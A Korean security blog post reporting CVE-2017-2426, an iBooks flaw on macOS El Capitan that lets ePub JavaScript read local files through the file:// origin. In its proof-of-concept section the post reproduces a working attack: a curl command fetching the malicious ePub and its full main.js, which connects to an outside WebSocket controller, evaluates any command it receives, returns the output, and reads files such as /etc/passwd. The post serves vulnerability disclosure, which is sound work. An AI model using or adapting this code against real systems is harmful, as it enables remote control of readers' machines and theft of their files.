상세 컨텐츠

본문 제목

cve-2017-2426 : 애플 iBook이 JavaScript를 이용하여 당신을 "읽는"다

국내외 보안동향

by 알약(Alyac) 2017. 3. 31. 10:36

본문

cve-2017-2426 : 애플 iBook이 JavaScript를 이용하여 당신을 "읽는"다

This book reads you - using JavaScript


애플이 책갈피를 실행할 때, 사용자의 시스템 파일에 접근을 허용하는 보안 취약점을 공개하였습니다. El Capitan의 iBooks는 'file://origin'을 이용하여 ePub을 실행하는데, 이때 공격자가 사용자 파일 시스템에 접근하는 것을 허용합니다. 


사용자들에게 어떻게 공격하는지 알기쉽게 설명하기 위하여, WebSocket 클라이언트를 전자 책 중에 삽입했습니다. 해당 전자책을 실행하는 모든 사용자들이 모두 WebSocket 컨트롤 서버에 접속하도록 조작하였고, 이를 통하여 사용자들에게 악성 명령을 하달할 수 있게 됩니다. 사용자가 전자책을 실행하면, ePub중의 WebSocket클라이언트가 방문허용 상태로 바뀝니다. (만약 사용자가 전자책을 읽는다면, 더 긴 시간이 방문허용 상태로 유지되게 될 것입니다.)


다음은, 사용자에게 보낸 한권의 전자책입니다. 


<이미지 출처 : https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>


책갈피를 열었을 때, iBook은 WebSocket 컨트롤러에 접속합니다. 



<이미지 출처 : https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>


만약 리더기에 CVE-2017-2426(file://origin) 취약점이 포함되어 있다면, 공격자는 사용자 로컬의 파일들을 획득할 수 있습니다. 


<이미지 출처 : https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html>



PoC


curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub

unzip poc.epub; rm poc.epub

* 자신의 컨트롤러로 수정하셔도 됩니다. 


poc.epub/epub/main.js 내용


WebSocketController = 'ws://websocket-controller.herokuapp.com:80';

var socket = new WebSocket(WebSocketController, 'echo-protocol');

socket.onopen = function(evt) { onopen() };

socket.onmessage = function(msg) { onmessage(msg) };

socket.onclose = function(evt) { onerror() }

function onopen()

{

  message('Connected to WebSocket Controller: ' + WebSocketController);

}

function onerror()

{

  message('Unable to connect to WebSocket Controller: ' + WebSocketController);

}

function onmessage(msg)

{

  //just eval anything sent from the controller

  response = eval(msg.data);

  //send response back to controller

  socket.send(response);

}

function get(loc) {

  var xmlhttp = new XMLHttpRequest();

  xmlhttp.open('GET', 'file://' + loc,false);

  xmlhttp.send();

  //populate the message element

  message(xmlhttp.responseText);

  return xmlhttp.responseText;

}

function message(message) {

  document.getElementById("message").innerText = message;

  return message;

}

function showExfil() {

  get('/etc/passwd');

}






출처 :

https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html

관련글 더보기

댓글 영역